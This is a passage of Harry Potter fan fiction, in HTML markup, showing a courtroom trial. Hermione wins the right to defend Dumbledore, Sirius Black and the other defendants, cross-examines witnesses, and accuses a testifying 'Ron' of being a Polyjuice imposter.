hearings by the Board of Governors.&nbsp; But this is only one of a number of suspicious things that have happened around Mr. Potter.&nbsp; At the end of his first year of school, his Defence Against the Dark Arts instructor Professor Quirrell was killed after an altercation with Potter.&nbsp; This happened in a hidden basement chamber of Hogwarts.&nbsp; The only witness to the destroyed body was Albus Dumbledore.</p>\n\n<p>&#8220;Potter&#8217;s second year was notorious because four of his fellow students were attacked and petrified.&nbsp; Reportedly Potter and his friend Ronald Weasley found the legendary Chamber of Secrets created and sealed by Salazar Slytherin.&nbsp; A chamber that had never been found for hundreds of years and after countless searches by expert teams of wizards and witches.&nbsp;&nbsp; According to Potter&#8217;s story, he and Ronald Weasley went into the chamber to save Virginia Weasley.&nbsp; Mr. Potter claims to have slain a thousand year old basilisk.&nbsp; The only adult witness to this fantastic tale was Professor Gilderoy Lockhart.&nbsp; A man whose fame for vanquishing dark creatures was well known.&nbsp; And yet ominously, Lockhart still suffers from a damaged memory from that night and cannot corroborate any of Potter&#8217;s tale.</p>\n\n<p>&#8220;And last year Mr. Potter entered into the Triwizard Tournament even though there was a strict age limit for entry.&nbsp; All contestants were to have achieved seventeen years of age, but somehow Potter entered his name for the contest even though he was only fourteen.&nbsp; Only Dark Magic could have fooled the Goblet of Fire.&#8221;</p>\n\n<p>Mathews then paused and looked venomously at Harry.</p>\n\n<p>&#8220;At the end of the tournament, he emerged victorious after an unexplained disappearance of about half an hour.&nbsp; Two of his competitors were found stunned and unconscious, while another contestant, Cedric Diggory, was found dead.&nbsp; Harry Potter was found clutching the dead body while he claimed the Triwizard Cup for himself.&#8221;</p>\n\n<p>Mathews then waved his dramatically arms at the jury and the audience.</p>\n\n<p>&#8220;It gives me pause to wonder why anyone celebrated the idea that a small child barely old enough to walk could defeat such a powerful wizard such as He-Who-Must-Not-Be-Named.&nbsp; Rather than celebrating the fall of You-Know-Who, we should have been trembling at the future potential of such a powerful infant.&nbsp; Something that Sirius Black evidently understood.&nbsp; I will show that there has been a correspondence between Potter and Black that has spanned two years.&nbsp; I will also show that Black&#8217;s network of supporters included Professors Severus Snape, Arabella Figg and Headmaster Albus Dumbledore.&nbsp; They all helped to aid, abet and harbour a fugitive.&nbsp; It will also be shown that the baby being held in Professor Figg&#8217;s arms is the child of Sirius Black!&#8221;</p>\n\n<p>More gasps came from the assembled crowd.</p>\n\n<p>&#8220;Black was apprehended by Ministry of Magic officials who were acting on a tip, shortly after the birth of his child.&nbsp; These Ministry officials, Macnair, Bode and Croaker were in the process of transporting Black back to Azkaban when Harry Potter and Severus Snape viciously attacked them, leaving Agent Bode permanently blind and Agent Macnair permanently disabled.&nbsp; Potter and Snape were plotting to further their nefarious plans by taking these Ministry officials hostage in order to interrogate and control them.&nbsp; Unfortunately for them, more Ministry officials were waiting for them at Hogwarts castle.&nbsp; The plot soon unraveled.&nbsp; One particularly incriminating piece of evidence was the finding of matching magical amulets around each of these defendants&#8217; necks.&#8221;</p>\n\n<p>He then strode to his desk where he grabbed the five amulets and held them aloft.&nbsp; Murmurs were heard from the crowd.</p>\n\n<p>&#8220;Another bit of incriminating evidence is that at the beginning of the school year, Professor Figg made every student from the fourth year on up submit essays detailing who was important in their life, how they could be tempted by power and any personal family history that could be vulnerable to blackmail.&nbsp; These essays have since been given to Headmaster Dumbledore, but have been bewitched so that only he and possibly Sirius Black can read them.&nbsp; What better way for future recruitment of supporters than having a blueprint for someone&#8217;s vulnerability written in their own hand?</p>\n\n<p>&#8220;I will now start my case by calling the material witnesses to the stand.&nbsp; They will establish that Sirius Black was indeed at Hogwarts yesterday.&nbsp; My first witness is Rebecca Nurse.&#8221;</p>\n\n<p>Harry and Hermione exchanged looks.&nbsp; She nodded and stood up facing Amos Diggory.&nbsp; She had obviously put some thought into being a barrister because she had tried her best to dress the part.&nbsp; She had worn a long black skirt, a white button down blouse and a black dress cloak rather than the traditional Hogwarts school uniform.</p>\n\n<p>&#8220;Excuse me, your lordship,&#8221; she began with a trembling voice.&nbsp; &#8220;My name is Hermione Granger, I&#8217;m a student at Hogwarts.&nbsp; I&#8217;d like to have a moment of your time to make a motion.&nbsp; I submit that these defendants deserve to have a barrister mount a defence on their behalf.&#8221;</p>\n\n<p>Amos Diggory sniffed dismissively, &#8220;We don&#8217;t use such Muggle concepts.&#8221;</p>\n\n<p>&#8220;Well your lord,&#8221; she continued with her voice getting stronger.&nbsp; &#8220;I think that the Pursuit of Truth and Justice is a concept that is universal and should be revered in both Wizarding and Muggle courts.&nbsp; The cross-examination of witnesses is of vital importance.&nbsp; Otherwise, there is an incomplete and one-sided examination of evidence.&nbsp; And given the stature of Headmaster Albus Dumbledore and the history of Harry Potter&#8217;s survival against Lord Voldemort&#8230;&#8221;</p>\n\n<p>There were gasps from the audience in response to hearing that name uttered.</p>\n\n<p>&#8220;&#8230;and also given the severity of the charges against them,&#8221; she continued.&nbsp; &#8220;We should have complete confidence that there are no mitigating factors or extenuating circumstances that might later come to light that could prove embarrassing for all involved.&#8221;</p>\n\n<p>&#8220;Miss Granger, I must ask you to be seated,&#8221; Diggory said in a patronizing tone.&nbsp; &#8220;We do not allow for barristers in this court.&#8221; </p>\n\n<p>She remained standing and instead crossed in front of the jury box and devoted her attention to them.</p>\n\n<p>&#8220;Your lord, ladies and gentleman of the jury and esteemed witnesses -- I must appeal to your sense of Justice.&nbsp; What harm would be done if I were allowed to ask follow-up questions of the defendants and witnesses?&nbsp; I am after all, only a fifteen year-old witch with no formal legal training and am certainly no match against an experienced Inquisitor such as Mr. Cotton Mathews.&nbsp; I simply wish to uphold and defend the honour of my headmaster, two professors, my best friend and a man I believe was unjustly imprisoned.&nbsp; If they are found guilty of the crimes they are accused of &#8211; then there will be less doubt about the certainty of the verdicts.&#8221;</p>\n\n<p>She then turned back to Diggory.&nbsp; &#8220;I respectfully request to be their barrister.&#8221;</p>\n\n<p>The room erupted with murmurs from the crowd.&nbsp; </p>\n\n<p>&#8220;What harm indeed?&#8221;</p>\n\n<p>&#8220;If anyone deserves a defence it&#8217;s Dumbledore&#8230;&#8221;</p>\n\n<p>&#8220;Let the girl try&#8230;&#8221;</p>\n\n<p>Diggory surveyed the room and began to show a little nervousness.&nbsp; &#8220;Miss Granger, this is highly unusual,&#8221; Diggory said coolly.</p>\n\n<p>&#8220;I understand that your lord, but putting someone like Headmaster Dumbledore on trial is also highly unusual.&nbsp; If this were a Muggle court, the defendants would not only be afforded a barrister, but they&#8217;d also be given adequate time to mount a legal defence.&nbsp; I won&#8217;t ask for a postponement of these proceedings, but I am asking for the ability to mount a defence armed only with my wits, my sense of justice and&#8230;&#8221; she picked up her black leather book, &#8220;a simple Muggle legal dictionary.&#8221;</p>\n\n<p>There were more murmurs from the crowd.</p>\n\n<p>&#8220;I&#8217;d like to see this&#8230;&#8221;</p>\n\n<p>&#8220;After all Dumbledore&#8217;s done over the years&#8230;&#8221;</p>\n\n<p>&#8220;He deserves a defence...&#8221;</p>\n\n<p>Diggory exchanged a look with Fudge who was shaking his head ever so slightly.&nbsp; &#8220;I&#8217;m sorry, Miss Granger.&nbsp; I simply cannot allow that change in our court system,&#8221; he stated firmly.</p>\n\n<p>Hermione then turned once again to the assembled crowd.</p>\n\n<p>&#8220;I believe that Albus Dumbledore has probably been the Headmaster or instructor for everyone in this room.&nbsp; If his life history of dedication to the instruction of countless generations means <i>nothing</i>, if his defeat of the Dark Wizard Grindlewald is simply dismissed as well as his discovery of the twelve uses of dragon&#8217;s blood is deemed unimportant &#8211; if Albus Dumbledore is undeserving of a defence &#8211; then that means that the Wizarding World is <i>indifferent</i> to Justice.&nbsp; It means that the concept of being presumed innocent until proven guilty Doesn&#8217;t Apply Here.&nbsp; It means that you are presumed guilty and actively prevented in asserting your innocence.&nbsp; If that is what the foundations of the justice system of the Wizarding World are based upon &#8211; then I shall reject it in the only way that I can.&#8221;</p>\n\n<p>Her voice started trembling with emotion and her hands were visibly shaking with anger.&nbsp; &#8220;I am a Muggle-born witch and I simply cannot stay in a world that is predicated upon injustice and cruelty.&nbsp; I shall turn my back on the magical world that I have embraced fully and enthusiastically for the last five years.&nbsp; I shall turn in my wand and my spell books and try to forget everything that I have learned at Hogwarts.&nbsp; I tried so hard to excel and to prove myself worthy in this magical world, but I shall deny my God given talent and return to Muggle obscurity where at least the system of governance has the <i>appearance</i> of fairness.&#8221;</p>\n\n<p>She then turned back to Diggory with tears streaming down her face.&nbsp; &#8220;I once again humbly request that the court allow me to defend the honour of my headmaster and his co-defendants.&nbsp; Even in the time of Merlin, the accused had people that were allowed to defend their honour in jousting.&nbsp; I don&#8217;t hold any lance &#8211; only my sense of fairness.&#8221;</p>\n\n<p>Harry looked about the room and saw that there were many witches and wizards who were dabbing their eyes with handkerchiefs.&nbsp; Diggory looked very uncomfortable.</p>\n\n<p>&#8220;Professor Dumbledore, how do you feel about this?&#8221; asked Diggory.</p>\n\n<p>Dumbledore gave a warm smile towards Hermione.&nbsp; &#8220;I would be honoured to have someone with her passion and intellect champion my cause.&#8221;</p>\n\n<p>Diggory narrowed his eyes on Hermione.&nbsp; &#8220;Very well, Miss Granger.&nbsp; I&#8217;ll allow you to mount a defence, but I&#8217;m warning you &#8211; if I find that you are merely trying to delay the proceedings without adding anything of substance or if you turn this into a dramatic production &#8211; I shall end this escapade with no warning.&#8221;</p>\n\n<p>&#8220;Yes, your lord and I thank you for this opportunity,&#8221; she said she as wiped away her tears and quickly took her seat.</p>\n\n<p>Mathews then stood.&nbsp; &#8220;Your lordship, I must voice my objections on this matter.&nbsp; Miss Granger is one of the material witnesses in this case.&nbsp; There is also the added question of the nature of her relationship with Mr. Potter.&#8221;</p>\n\n<p>Diggory nodded with a small smile on his face, &#8220;That does complicate matters.&#8221;</p>\n\n<p>Hermione stood, &#8220;Your lordship, Mr. Mathews, ladies and gentlemen of the court.&nbsp; I recognize that I am not the ideal candidate for this job, but on such short notice &#8211; I am the only one available.&nbsp; I shall give truthful testimony on this matter and feel that my status as a material witness should not disqualify myself as defence counsel.&nbsp; I will freely submit to Veritaserum at the end of these proceedings should there be any need for follow-up questions.&nbsp; My only intent is to help us all determine the Truth in these matters.&nbsp; And as for my relationship with Harry Potter, we are good friends.&nbsp; Nothing more.&nbsp; Regardless of the insinuations in the press, we are not a couple,&#8221; she cast a look at a wizard who seated in the front of the courtroom that was furiously writing with a quill.&nbsp;&nbsp;&nbsp; He looked up at her and gave a wicked smile.</p>\n\n<p>&#8220;Harry Potter has never so much as kissed me or tried to hold my hand.&nbsp; The day we were seen embracing in Hogsmeade was right after I broke up with Viktor Krum.&nbsp; He was being a good friend and offered his shoulder for me to cry on.&nbsp; And as for that famous photograph,&#8221; she gave a small smile, &#8220;I&#8217;ve been assured that it was a normal male reaction.&#8221;</p>\n\n<p>Diggory smirked, &#8220;Sit down Miss Granger.&nbsp; My permission for you to act as barrister stands.&nbsp; Proceed, Mr. Mathews.&#8221; </p>\n\n<p>Matthews stood and stifled a look of anger at Diggory.&nbsp; He gestured towards the midwife.&nbsp; &#8220;Once again I call Rebecca Nurse to the stand.&#8221;</p>\n\n<p>She crossed the room and stood in front of the witness stand.&nbsp; The bailiff held a magical stone out for her to touch.</p>\n\n<p>&#8220;Do you Rebecca Nurse swear in the memory of Merlin that your testimony will be truthful?&#8221;</p>\n\n<p>&#8220;I do.&#8221;</p>\n\n<p>&#8220;You may be seated.&#8221;</p>\n\n<p>Mathews crossed to the stand.</p>\n\n<p>&#8220;Did you tend to Arabella Figg&#8217;s birth?&#8221;</p>\n\n<p>&#8220;Yes, I was her midwife.&#8221;</p>\n\n<p>&#8220;Had she told you who the father of her child was?&#8221; asked Mathews.</p>\n\n<p>&#8220;No.&nbsp; We never discussed anything of a personal nature.&nbsp; Her prenatal visits only concerned her health and the progression of her pregnancy.&#8221;</p>\n\n<p>&#8220;Where did the birth take place?&#8221;</p>\n\n<p>&#8220;In Rubeus Hagrid&#8217;s hut on the grounds of Hogwarts.&#8221;</p>\n\n<p>&#8220;Why there?&#8221; he asked.</p>\n\n<p>&#8220;The staff quarters are far too cramped to allow women to birth properly.&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221;</p>\n\n<p>&#8220;Women need the freedom to walk around if necessary,&#8221; she explained.&nbsp; &#8220;Many women need to walk during labour.&nbsp; We also needed room for a birthing chair.&#8221;</p>\n\n<p>&#8220;Why didn&#8217;t you use the hospital wing?&#8221;</p>\n\n<p>&#8220;She wanted privacy and didn&#8217;t want any students walking in looking for some acne potion and come across her giving birth.&#8221;</p>\n\n<p>&#8220;Who was there at the birth?&#8221;</p>\n\n<p>The midwife started to think, &#8220;Hagrid was there at the beginning, but he soon left and wasn&#8217;t there at the time of the birth.&nbsp; Hermione Granger was there as a doula.&nbsp; Harry Potter was there in a supporting role and helped lift her when she used the birthing chair.&nbsp; He didn&#8217;t actually tend to her birthing needs.&nbsp; That was done by her partner and by Miss Granger.&nbsp; Her partner introduced himself to me as Joseph O&#8217;Brien.&#8221;</p>\n\n<p>&#8220;Is that man in this courtroom?&#8221; asked Mathews.</p>\n\n<p>&#8220;Yes, that&#8217;s the man,&#8221; she nodded and pointed towards Sirius.&nbsp; &#8220;He looked different at the birth.&nbsp; He had an aging potion that wore off while we were on the bus ride here, but that is the man.&#8221;</p>\n\n<p>&#8220;The court will recognize that the witness has indicated Sirius Black.&nbsp; And what exactly was his role?&#8221;</p>\n\n<p>&#8220;He obviously was her lover and was there to help with the birth,&#8221; she said matter-of-factly.&nbsp; &#8220;He helped deliver the baby and he cut the cord.&#8221;</p>\n\n<p>&#8220;What did she call him?&#8221;</p>\n\n<p>&#8220;Joseph.&#8221;</p>\n\n<p>&#8220;Did you at any time hear him referred to as anything other than Joseph?&#8221;</p>\n\n<p>&#8220;No,&#8221; she replied.</p>\n\n<p>&#8220;When did he leave?&#8221;</p>\n\n<p>&#8220;About an hour or so after the birth.&nbsp; He didn&#8217;t want to leave, but he had taken a parchment out of his pocket that was making a strange sound like a bell.&nbsp; He looked at it and said that he had to get back.&nbsp; He vowed that he would come visit the next day.&#8221;</p>\n\n<p>&#8220;What happened after he left?&#8221; he asked.</p>\n\n<p>&#8220;Well, shortly afterwards Harry and Hermione left to go to the castle and fetch us all some dinner.&nbsp; Harry came running back to the hut a few minutes later.&nbsp; Both Arabella and Harry held their necklaces in their hands and closed their eyes.&nbsp; Arabella then wished him luck in getting Joseph back.&nbsp; But she then said that Harry&#8217;s life was more important in the grand scheme of things, which I didn&#8217;t understand at all.&#8221;</p>\n\n<p>&#8220;What happened next?&#8221;</p>\n\n<p>&#8220;Harry left and about an hour or so later, there were Ministry officials knocking at the door.&#8221;</p>\n\n<p>&#8220;Thank you. Your witness,&#8221; Mathews said as he nodded towards Hermione.</p>\n\n<p>Hermione stood and slowly walked to the stand, &#8220;Miss Nurse, had you ever met Sirius Black before?&#8221;</p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>&#8220;Had you ever heard of him before?&#8221;</p>\n\n<p>&#8220;Of course.&nbsp; He killed thirteen people with a single curse and escaped from Azkaban.&nbsp; Everyone has heard of that,&#8221; Nurse said sounding annoyed.</p>\n\n<p>&#8220;Had you heard of him &#8211; <i>before </i>the fall of Voldemort?&#8221;</p>\n\n<p>&#8220;Umm, I think so,&#8221; she said.&nbsp; &#8220;I seem to remember hearing of him when he was at Hogwarts.&nbsp; But I don&#8217;t ever recall meeting him.&#8221;</p>\n\n<p>&#8220;How would you describe him as he attended the birth,&#8221; asked Hermione.</p>\n\n<p>&#8220;A very caring and excited father-to-be.&nbsp; I&#8217;d say he was one of the best partners I&#8217;ve worked with.&#8221;</p>\n\n<p>&#8220;You wouldn&#8217;t characterize him as evil would you?&#8221;</p>\n\n<p>&#8220;Not from what I saw.&#8221;</p>\n\n<p>&#8220;What about Harry Potter?&#8221; asked Hermione.&nbsp; &#8220;Would you describe his manner or actions as being consistent with being a Dark Wizard?&#8221;</p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>&#8220;Thank you, that is all,&#8221; Hermione said as she returned to her chair.</p>\n\n<p>&#8220;The witness may step down,&#8221; said Diggory.</p>\n\n<p>Mathews stood, &#8220;I call Rubeus Hagrid to the stand.&#8221;</p>\n\n<p>Hagrid was sworn in and found it very difficult to sit in the stand as he filled it completely.</p>\n\n<p>&#8220;Did Arabella Figg give birth in your hut?&#8221; asked Mathews.</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&#8220;How long were you present during her labour?&#8221;</p>\n\n<p>&#8220;Not long.&nbsp; I had ter fetch the midwife and later I had me class ta teach.&nbsp; I wasn&#8217; really needed there ana&#8217;way.&nbsp; I think she just wanted me hut and not me hangin&#8217; around.&#8221;</p>\n\n<p>&#8220;Did you see a man there that was called Joseph O&#8217;Brien?&#8221;</p>\n\n<p>&#8220;Yes.&nbsp; I didn&#8217; recognize him though.&#8221;</p>\n\n<p>&#8220;So you knew Sirius Black?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; Hagrid replied darkly and shot a nasty look in Sirius&#8217;s direction.&nbsp; &#8220;He took a big risk comin&#8217; in me hut.&nbsp; If I&#8217;da known it was him &#8211; I woulda tore &#8216;im from limb ta limb.&#8221;</p>\n\n<p>&#8220;You didn&#8217;t know that Harry Potter had been corresponding with him?&#8221;</p>\n\n<p>&#8220;No!&nbsp; I woulda told Harry all about what Black did &#8211; betrayin&#8217; his parents and all.&nbsp; I never thought that the boy would ever get mixed up with the likes of him.&#8221;</p>\n\n<p>Hagrid gave Harry a penetrating look, which made him stare down at his shoes.&nbsp; </p>\n\n<p>&#8220;Thank you, your witness,&#8221; said Mathews.</p>\n\n<p>Hermione gave Hagrid a big smile as she walked towards the witness stand, &#8220;Hagrid, you knew Sirius Black before the Potters were killed.&#8221;</p>\n\n<p>&#8220;Yes,&#8221; he muttered.</p>\n\n<p>&#8220;Please tell the court what your opinion was of him <i>at</i>\n\n<i>that</i>\n\n<i>time</i>.&#8221;</p>\n\n<p>&#8220;I thought he was a fine bloke.&nbsp; He an&#8217; James Potter were thick as thieves.&nbsp; He was the last person I woulda thought would turn bad &#8211; sceptin&#8217; Dumbledore a &#8216;course.&#8221;</p>\n\n<p>&#8220;So you don&#8217;t think that Dumbledore has turned evil?&#8221;</p>\n\n<p>&#8220;No!&#8221;</p>\n\n<p>&#8220;How about Harry Potter?&#8221;</p>\n\n<p>&#8220;NO!&#8221; roared Hagrid.</p>\n\n<p>&#8220;When was the last time you saw Sirius Black before yesterday?&#8221;</p>\n\n<p>&#8220;Right after the Potters were killed.&#8221;</p>\n\n<p>&#8220;Please describe that for the court,&#8221; Hermione requested.</p>\n\n<p>&#8220;Well, I had jus&#8217; gotten to the burnin&#8217; house and had gotten Harry out and Black stopped by.&nbsp; He was all white and shakin&#8217;.&nbsp; He seemed very upset.&nbsp; I even comforted the traitor.&nbsp; I thought he was upset about James an&#8217; Lily, but all he cared about was You-Know-Who.&nbsp; He even tried takin&#8217; Harry from me.&nbsp; He said he was the boy&#8217;s godfather and was now ter look after him.&nbsp; &#8216;Sceptin&#8217; I had me orders from Dumbledore an&#8217; I was ter take Harry ter live with his aunt and uncle.&nbsp; So Sirius gave me his flyin&#8217; motorbike ta use.&#8221;</p>\n\n<p>&#8220;You&#8217;ve said that Sirius Black betrayed the Potters.&nbsp; What do you base this on?&#8221; she asked.</p>\n\n<p>&#8220;I heard Minister Fudge say that two years ago in Hogsmeade.&nbsp; He had been in charge of the Black investigation at the time.&nbsp; Fudge said that the Potters knew that You-Know-Who was after &#8216;em.&nbsp; So to protect themselves they had a Fidelius Charm performed.&nbsp; An&#8217; that Sirius Black was their Secret-Keeper.&nbsp; Less than a week later after the spell was done, the Potters were killed!&#8221;</p>\n\n<p>&#8220;Hagrid,&#8221; Hermione began slowly.&nbsp; &#8220;What if Minister Fudge had been given the <i>wrong</i> information?&nbsp; And what if Black had not been the Potters&#8217; Secret-Keeper after all?&nbsp; What if Black tried to outwit Voldemort by switching to someone else at the last moment?&#8221;</p>\n\n<p>&#8220;Objection your lord.&nbsp; She is leading the witness,&#8221; Mathews said angrily.</p>\n\n<p>&#8220;Your lord, I haven&#8217;t had any time to prepare for this case, so I ask for a little latitude in this line of questioning.&#8221;</p>\n\n<p>&#8220;Very well,&#8221; Diggory said.&nbsp; &#8220;Objection overruled.&nbsp; Make this quick Miss Granger.&#8221;&nbsp; </p>\n\n<p>&nbsp; &#8220;Yes, your lord,&#8221; she said and then turned back to the witness.&nbsp; &#8220;Hagrid, let&#8217;s say Black knew that everyone would expect him to be the Potters&#8217; Secret-Keeper, so he decided to try to outwit Voldemort by making <i>someone else</i> Secret-Keeper.&nbsp; That way if Black were captured and tortured, he was willing to die before telling anything.&nbsp; So instead, what if that other person &#8211; someone you would not have suspected to be entrusted with that charge &#8211; what if <i>that</i> person had betrayed the Potters and not Sirius Black&#8230;Would your opinion of Sirius Black change?&#8221;</p>\n\n<p>Hagrid&#8217;s face became twisted with emotion.&nbsp; Harry then looked at Cornelius Fudge who stood up and was visibly upset.</p>\n\n<p>&#8220;I object your lord.&nbsp; This line of questioning has nothing to do with the charges against the defendants,&#8221; Fudge commanded.</p>\n\n<p>&#8220;Your lord, this subject was mentioned in the prosecution&#8217;s opening statement,&#8221; pleaded Hermione.&nbsp; &#8220;Also it goes to establish motives.&nbsp; My client, Sirius Black was never tried for the crimes he was accused of fifteen years ago.&nbsp; If my other clients believed that he was innocent of those charges and had been unjustly imprisoned, then their motive in aiding and abetting a fugitive would have a different meaning than that which was argued by Mr. Mathews.&#8221;</p>\n\n<p>&#8220;What does this have to do with <i>this</i> witness?&#8221; asked Diggory.</p>\n\n<p>&#8220;He knows all the defendants well your lord.&nbsp; I&#8217;m trying to probe how someone who knew Sirius Black <i>before</i> the Potters&#8217; deaths would react if they came to believe in his innocence.&#8221;</p>\n\n<p>&#8220;Very well, one more question then you shall move on Miss Granger.&#8221;</p>\n\n<p>She paused and looked directly at the witness.&nbsp; &#8220;Hagrid, knowing Headmaster Dumbledore as well as you do, would it be in character for him to support someone in trouble that he believed was unjustly accused of a crime?&#8221;</p>\n\n<p>Harry looked at Hagrid&#8217;s face.&nbsp; He knew that Hermione struck gold with that question.&nbsp; Hagrid was reflecting on his own unjust accusations of being behind the opening of the Chamber of Secrets and being thrown into Azkaban.&nbsp; Hagrid nodded slowly.</p>\n\n<p>&#8220;Yup, that&#8217;s Dumbledore all right,&#8221; he said gruffly.</p>\n\n<p>&#8220;Thank you, Hagrid.&#8221;</p>\n\n<p>Mathews stood.&nbsp; &#8220;At this time your lord, I had planned to call Miss Hermione Granger.&#8221;</p>\n\n<p>Hermione turned and replied, &#8220;Your lord I will gladly stipulate certain matters to try and expedite these proceedings.&nbsp; I attended the birth at Professor Figg&#8217;s request.&nbsp; I had seen Sirius Black before, but did not recognize him yesterday.&nbsp; When I saw him before he had looked very thin and gaunt with filthy, matted hair and dirty, ragged robes.&nbsp; Yesterday he appeared handsome, clean cut, well fed and clothed, and appeared twenty years older than he does now.&nbsp; He also spoke with a thick Australian accent, so I didn&#8217;t even recognize his voice.&nbsp; I will also stipulate that I witnessed both Professor Figg and Harry clutching amulets on their necks.&nbsp; I knew nothing about their significance and wondered why they were doing that at the same time.&nbsp; I also knew nothing of Sirius Black&#8217;s and Professor Figg&#8217;s relationship.&nbsp; If you have other questions for me, I would respectfully request that you wait until after the proceedings where I will willingly take the stand and answer any question on any topic.&#8221;</p>\n\n<p>&#8220;Thank you, Miss Granger.&nbsp; I shall reserve the right to recall you as a witness later,&#8221; said Mathews.</p>\n\n<p>Hermione then sat down.&nbsp; Mathews made a motion to a bailiff.&nbsp; &#8220;I call Ronald Weasley as my next witness.&#8221;</p>\n\n<p>Harry and Hermione exchanged worried glances.&nbsp; <i>What was he doing here</i>, Harry wondered.&nbsp; Arthur Weasley had a look of utter astonishment on his face.&nbsp; Obviously no one told him that his son was being brought forth as a witness.&nbsp; Hermione looked at her watch nervously as the door opened and Ron walked into the courtroom and was taken to the witness chair and sworn in by the bailiff.</p>\n\n<p>&#8220;Mr. Weasley, could you please tell the court your relationship with Harry Potter.&#8221;</p>\n\n<p>&#8220;We&#8217;re best mates.&nbsp; I met him on the Hogwarts Express the first day at school.&nbsp; We were both sorted into Gryffindor.&#8221;</p>\n\n<p>&#8220;Yes, Mr. Weasley, could you tell the court whether or not Mr. Potter has had any undue influence upon you.&nbsp; Whether or not he&#8217;s forced you to go along with his plans on things that you otherwise wouldn&#8217;t have done?&#8221; Mathews asked sinisterly.</p>\n\n<p>Ron nodded and looked down his face darkening.</p>\n\n<p>&#8220;In our second year, Hermione and I became concerned with Harry.&nbsp; We were worried and when she crossed him&#8230;he petrified her.&nbsp; I still don&#8217;t know how he did it or how he attacked the other students, but Harry did it.&nbsp; Later when I stood up to him, he abducted my little sister Ginny and threatened to kill her.&#8221;</p>\n\n<p>Harry felt the blood rush into his face.&nbsp; He couldn&#8217;t understand where any of this testimony was coming from.&nbsp; Arthur Weasley&#8217;s face started to darken as his eyes darted from Ron to Harry.</p>\n\n<p>&#8220;Tell us what happened the night Harry threatened Ginny,&#8221; Mathews said reassuringly.</p>\n\n<p>&#8220;Harry knocked her out and had hidden her in a secret passage.&nbsp; He said if I didn&#8217;t follow him and do what he said, that he&#8217;d kill her.&nbsp; I didn&#8217;t have any choice.&nbsp; Then Professor Lockhart found us.&nbsp; Harry stunned him and then did a memory charm on him.&nbsp; He then came up with the whole story of the basilisk and the Chamber of Secrets.&nbsp; Ginny didn&#8217;t remember anything, so it was easy for her to go along with the story.&nbsp; So when we left the passage, Harry once again pretended to be the hero.&#8221;</p>\n\n<p>Harry closed his eyes and shook his head.</p>\n\n<p>&#8220;Tell us what happened at the end of your third year when you met Sirius Black,&#8221; Mathews prompted.</p>\n\n<p>&#8220;Well,&#8221; Ron began, &#8220;we were outside of the castle.&nbsp; We were afraid that Buckbeak the hippogriff was going to be executed.&nbsp; When Sirius Black attacked me and dragged me off into the <st1:place><st1:placename>Forbidden</st1:placename>\n\n<st1:placetype>Forest</st1:placetype></st1:place>.&nbsp; Harry and Hermione followed, trying to save me.&nbsp; That&#8217;s when Black told Harry that he was destined for great things.&nbsp; Black said that Harry could rule the world and that he would help him.&nbsp; Black came up with this alibi and said that my rat was actually Peter Pettigrew in disguise.&nbsp; Harry and Black actually thought that story might work, because everyone believed Harry to be a hero.&#8221;</p>\n\n<p>&#8220;It didn&#8217;t work though did it?&#8221; asked Mathews.</p>\n\n<p>&#8220;No.&nbsp; My rat had been eaten by Hermione&#8217;s cat weeks before.&nbsp; It was widely known because she and I had a falling out about it.&nbsp; So no one believed the story that Pettigrew had escaped in a rat form.&nbsp; But later Harry somehow helped Black escape.&#8221;</p>\n\n<p>&#8220;You don&#8217;t know how he did that?&#8221;</p>\n\n<p>&#8220;No.&nbsp; Harry stunned me one point and I was unconscious when the breakout occurred.&#8221;</p>\n\n<p>Minister Fudge stroked his thin mustache with an appreciative look in his eyes.</p>\n\n<p>&#8220;Has Harry been communicating with Black since that time?&#8221;</p>\n\n<p>&#8220;Yes, he&#8217;s written many letters to him.&nbsp; Exchanged gifts, too,&#8221; Ron added.</p>\n\n<p>&#8220;When Harry was in the Triwizard Tournament did he ever mention to you what lengths he would go to in order to win?&#8221;</p>\n\n<p>&#8220;Yes, he said he&#8217;d do <i>anything</i>.&nbsp; He wanted everyone to think he was the most powerful wizard in generations.&#8221;</p>\n\n<p>&#8220;Thank you, Mr. Weasley.&nbsp; Your witness,&#8221; Mr. Mathews said as he sat down.</p>\n\n<p>Hermione looked at her watch again and then stood evaluating Ron closely.&nbsp; She licked her lips slowly.</p>\n\n<p>&#8220;Well, Ron&#8230;&#8221;</p>\n\n<p>Ron stared at her blankly.</p>\n\n<p>She licked her lips with great exaggeration.</p>\n\n<p>&#8220;Well&#8230;&#8221; she said expectantly.</p>\n\n<p>&#8220;Well what?&nbsp; Are you going to ask me a question or not?&#8221; Ron asked with exasperation in his voice.</p>\n\n<p>Hermione turned to Judge Diggory.</p>\n\n<p>&#8220;Your lord, I object to this witness because I submit to you &#8211; this is not Ronald Weasley, but an imposter!&#8221;</p>\n\n<p>There were mutters from the gallery.&nbsp; Arthur Weasley&#8217;s eyebrows were closely knit.</p>\n\n<p>&#8220;On what evidence do you base that assumption, Miss Granger?&#8221; Diggory asked.</p>\n\n<p>&#8220;Other than saying that Ron and Harry are best mates, the rest of his testimony does not in any way resemble reality.&nbsp; Plus he did not respond to the secret signals I gave him.&#8221;</p>\n\n<p>&#8220;Come again?&#8221;</p>\n\n<p>&#8220;Last fall on the Hogwarts Express, Harry suggested that we come up with a signal to greet ourselves with so that we would be certain it was who we appeared to be.&nbsp; We needed to use small signals that wouldn&#8217;t be obvious to observers.&nbsp; My signal was to lick my lips and start off any conversation with the word, &#8216;well.&#8217;&nbsp; Ron&#8217;s signal was to sniff and say &#8216;umm.&#8217;&#8221;</p>\n\n<p>&#8220;Hermione, I&#8217;m your best friend.&nbsp; Don&#8217;t you recognize me?&#8221; asked Ron desperately.</p>\n\n<p>&#8220;Oh, you look just like Ron Weasley, but that can be achieved by Polyjuice Potion.&nbsp; Your lord, I ask that any further questioning of this witness be reserved until after an hour has passed without him having any food or liquid provided him.&nbsp; If after such time has passed and he still appears to be in this form &#8211; then I shall admit my error and continue my cross-examination of him at that time.&#8221;</p>\n\n<p>Mathews stood and was very angry.</p>\n\n<p>&#8220;Your lord, I must renew my objection to this highly unusual arrangement.&nbsp; If Miss Granger wishes to play barrister and the court decides to entertain the whims of a schoolgirl, then I feel she should take the witnesses <i>in the order they are presented.</i>&nbsp; She should not come up with ludicrous objections simply because the witness has provided damaging testimony towards a client.&#8221;</p>\n\n<p>Diggory nodded and narrowed his eyes towards Hermione, &#8220;Miss Granger, I must admit that because Mr. Weasley didn&#8217;t sniff and say 